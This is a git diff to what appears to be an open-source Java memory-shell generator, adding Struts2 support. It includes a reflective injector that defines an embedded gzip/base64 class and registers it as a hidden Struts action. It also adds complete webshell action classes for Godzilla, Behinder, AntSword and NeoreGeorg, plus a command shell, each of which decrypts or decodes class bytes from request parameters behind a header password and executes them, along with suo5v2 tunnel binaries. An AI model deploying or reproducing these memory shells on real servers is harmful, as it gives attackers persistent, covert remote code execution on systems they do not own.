diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index 09bab46e..24f7c3dd 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -48,6 +48,8 @@ jobs: depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" - middleware: "xxljob" depend_tasks: "" + - middleware: "struct2" + depend_tasks: ":vul:vul-struct2:war" runs-on: ubuntu-latest name: ${{ matrix.cases.middleware }} steps: diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml index 31e18479..ec29964c 100644 --- a/.github/workflows/probe-integration-test.yml +++ b/.github/workflows/probe-integration-test.yml @@ -42,8 +42,8 @@ jobs: depend_tasks: ":vul:vul-webapp:war" - middleware: "springwebmvc" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" - - middleware: "springwebflux" - depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" + - middleware: "struct2" + depend_tasks: ":vul:vul-struct2:war" runs-on: ubuntu-latest name: ${{ matrix.cases.middleware }} steps: diff --git a/asserts/suo5/suo5v2-darwin-arm64 b/asserts/suo5/suo5v2-darwin-arm64 new file mode 100755 index 00000000..458406d4 Binary files /dev/null and b/asserts/suo5/suo5v2-darwin-arm64 differ diff --git a/asserts/suo5/suo5v2-linux-amd64 b/asserts/suo5/suo5v2-linux-amd64 new file mode 100755 index 00000000..bb3148bc Binary files /dev/null and b/asserts/suo5/suo5v2-linux-amd64 differ diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index 56c709c7..419cd67e 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -55,7 +55,7 @@ public ShellToolConfig parseShellToolConfig() { .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .build(); - case Suo5 -> Suo5Config.builder() + case Suo5, Suo5v2 -> Suo5Config.builder() .shellClassName(shellToolConfig.getShellClassName()) .headerName(shellToolConfig.getHeaderName()) .headerValue(shellToolConfig.getHeaderValue()) diff --git a/build.gradle.kts b/build.gradle.kts index 10ede150..da12156b 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.3.0" +version = "2.4.0-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") diff --git a/generator/src/main/java/com/reajason/javaweb/Server.java b/generator/src/main/java/com/reajason/javaweb/Server.java index 8564500a..035361af 100644 --- a/generator/src/main/java/com/reajason/javaweb/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/Server.java @@ -20,4 +20,5 @@ public class Server { public static final String SpringWebMvc = "SpringWebMvc"; public static final String SpringWebFlux = "SpringWebFlux"; public static final String XXLJOB = "XXLJOB"; + public static final String Struct2 = "Struct2"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 7d7ec25a..d2e2a810 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -8,6 +8,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.suo5.*; +import com.reajason.javaweb.memshell.shelltool.suo5v2.*; import java.util.Collections; import java.util.List; @@ -44,6 +45,7 @@ public class ServerFactory { register(Server.SpringWebMvc, SpringWebMvc::new); register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.XXLJOB, XxlJob::new); + register(Server.Struct2, Struct2::new); addToolMapping(ShellTool.Godzilla, ToolMapping.builder() .addShellClass(SERVLET, GodzillaServlet.class) @@ -76,6 +78,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) + .addShellClass(ACTION, GodzillaStruct2Action.class) .build()); addToolMapping(ShellTool.Behinder, ToolMapping.builder() @@ -100,6 +103,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) + .addShellClass(ACTION, BehinderStruct2Action.class) .build()); addToolMapping(ShellTool.AntSword, ToolMapping.builder() @@ -117,6 +121,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) + .addShellClass(ACTION, AntSwordStruct2Action.class) .build()); addToolMapping(ShellTool.Command, ToolMapping.builder() @@ -151,6 +156,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) + .addShellClass(ACTION, CommandStruct2Action.class) .build()); addToolMapping(ShellTool.Suo5, ToolMapping.builder() @@ -176,6 +182,33 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) + .addShellClass(ACTION, Suo5Struct2Action.class) + .build()); + + addToolMapping(ShellTool.Suo5v2, ToolMapping.builder() + .addShellClass(SERVLET, Suo5v2Servlet.class) + .addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class) + .addShellClass(FILTER, Suo5v2Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5v2Filter.class) + .addShellClass(LISTENER, Suo5v2Listener.class) + .addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class) + .addShellClass(VALVE, Suo5v2Valve.class) + .addShellClass(JAKARTA_VALVE, Suo5v2Valve.class) + .addShellClass(PROXY_VALVE, Suo5v2.class) + .addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class) + .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class) + .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class) + .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class) + .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class) + .addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class) + .addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class) + .addShellClass(ACTION, Suo5v2Struct2Action.class) + .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class) .build()); addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() @@ -200,6 +233,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) + .addShellClass(ACTION, NeoreGeorgStruct2Action.class) .build()); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java index 9a6cdb82..6b7a6cdd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java @@ -9,6 +9,7 @@ public class ShellTool { public static final String Behinder = "Behinder"; public static final String Command = "Command"; public static final String Suo5 = "Suo5"; + public static final String Suo5v2 = "Suo5v2"; public static final String AntSword = "AntSword"; public static final String NeoreGeorg = "NeoreGeorg"; public static final String Custom = "Custom"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java index 1bb544e3..29d3c8ac 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java @@ -23,6 +23,7 @@ public class ShellToolFactory { register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class); register(ShellTool.Command, CommandGenerator.class, CommandConfig.class); register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class); + register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index c0bd11eb..f01163af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -46,4 +46,6 @@ public class ShellType { public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String WEBSOCKET = "WebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; + + public static final String ACTION = "Action"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java new file mode 100644 index 00000000..8ef54a34 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java @@ -0,0 +1,230 @@ +package com.reajason.javaweb.memshell.injector.struct2; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Map; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/12/8 + */ +public class Struct2ActionInjector { + + private static String msg = ""; + private static boolean ok = false; + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public Struct2ActionInjector() { + if (ok) { + return; + } + Object context = null; + try { + context = getContext(); + } catch (Throwable e) { + msg += "context error: " + getErrorMessage(e); + } + if (context == null) { + msg += "context not found"; + } else { + try { + Object shell = getShell(context); + inject(context, shell); + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + ok = true; + System.out.println(msg); + } + + public Object getContext() throws Exception { + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + ClassLoader contextClassLoader = thread.getContextClassLoader(); + if (contextClassLoader != null) { + try { + Class clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + if (context != null) { + return context; + } + } catch (ClassNotFoundException e) { + continue; + } + } + } + return null; + } + + private void inject(Object context, Object shell) throws Exception { + Object actionInvocation = invokeMethod(context, "getActionInvocation"); + Object actionProxy = getFieldValue(actionInvocation, "proxy"); + Object configuration = getFieldValue(actionProxy, "configuration"); + Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration"); + Map> namespaceActionConfigs = (Map>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs"); + for (Map.Entry> entry : namespaceActionConfigs.entrySet()) { + String namespace = entry.getKey(); + Map configs = entry.getValue(); + if (!configs.isEmpty()) { + Object firstActionConfig = configs.entrySet().iterator().next().getValue(); + String actionName = getUrlPattern().substring(1); + if (configs.containsKey(actionName)) { + continue; + } + String packageName = (String) getFieldValue(firstActionConfig, "packageName"); + Class actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig"); + Constructor actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class); + actionConfigConstructor.setAccessible(true); + Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName()); + configs.put(actionName, actionConfig); + msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n"; + } + } + } + + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + Object interceptor = null; + try { + interceptor = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + interceptor = clazz.newInstance(); + } + return interceptor; + } + + @Override + public String toString() { + return msg; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java new file mode 100644 index 00000000..4108637a --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector; + +/** + * @author ReaJason + * @since 2025/12/8 + */ +public class Struct2 extends AbstractServer { + + @Override + public InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(ShellType.ACTION, Struct2ActionInjector.class) + .build(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java new file mode 100644 index 00000000..a4e53470 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordStruct2Action { + + public static String pass; + public static String headerName; + public static String headerValue; + + public void execute() throws Exception { + try { + Class clazz = Class.forName("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + Method getMethod = clazz.getMethod("get", String.class); + HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = reflectionDefineClass(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) throws Exception { + try { + Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } + } + + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java new file mode 100644 index 00000000..1fc453ff --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java @@ -0,0 +1,89 @@ +package com.reajason.javaweb.memshell.shelltool.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + */ +public class BehinderStruct2Action { + public static String pass; + public static String headerName; + public static String headerValue; + + public void execute() throws Exception { + try { + Class clazz = Class.forName("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + Method getMethod = clazz.getMethod("get", String.class); + HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", unwrap(response)); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = reflectionDefineClass(bytes).newInstance(); + instance.equals(obj); + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + public Object unwrap(Object obj) { + try { + return getFieldValue(obj, "response"); + } catch (Throwable e) { + return obj; + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) throws Exception { + try { + Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } + } + + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java new file mode 100644 index 00000000..8505e2e8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java @@ -0,0 +1,45 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Method; +import java.util.Scanner; + +/** + * @author ReaJason + * @since 2025/12/8 + */ +public class CommandStruct2Action { + private static String paramName; + + public String execute() throws Exception { + try { + Class clazz = Class.forName("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + Method getMethod = clazz.getMethod("get", String.class); + HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next()); + response.getWriter().flush(); + } + } catch (Throwable ignored) { + } + return null; + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java new file mode 100644 index 00000000..9feec724 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java @@ -0,0 +1,110 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class GodzillaStruct2Action { + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; + + public void execute() throws Exception { + try { + Class clazz = Class.forName("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + Method getMethod = clazz.getMethod("get", String.class); + HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = reflectionDefineClass(data); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + public byte[] x(byte[] s, boolean m) throws Exception { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } + + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + try { + Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); + return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); + return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) throws Exception { + try { + Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java new file mode 100644 index 00000000..3bb5e0dc --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.memshell.shelltool.neoreg; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/2/27 + *

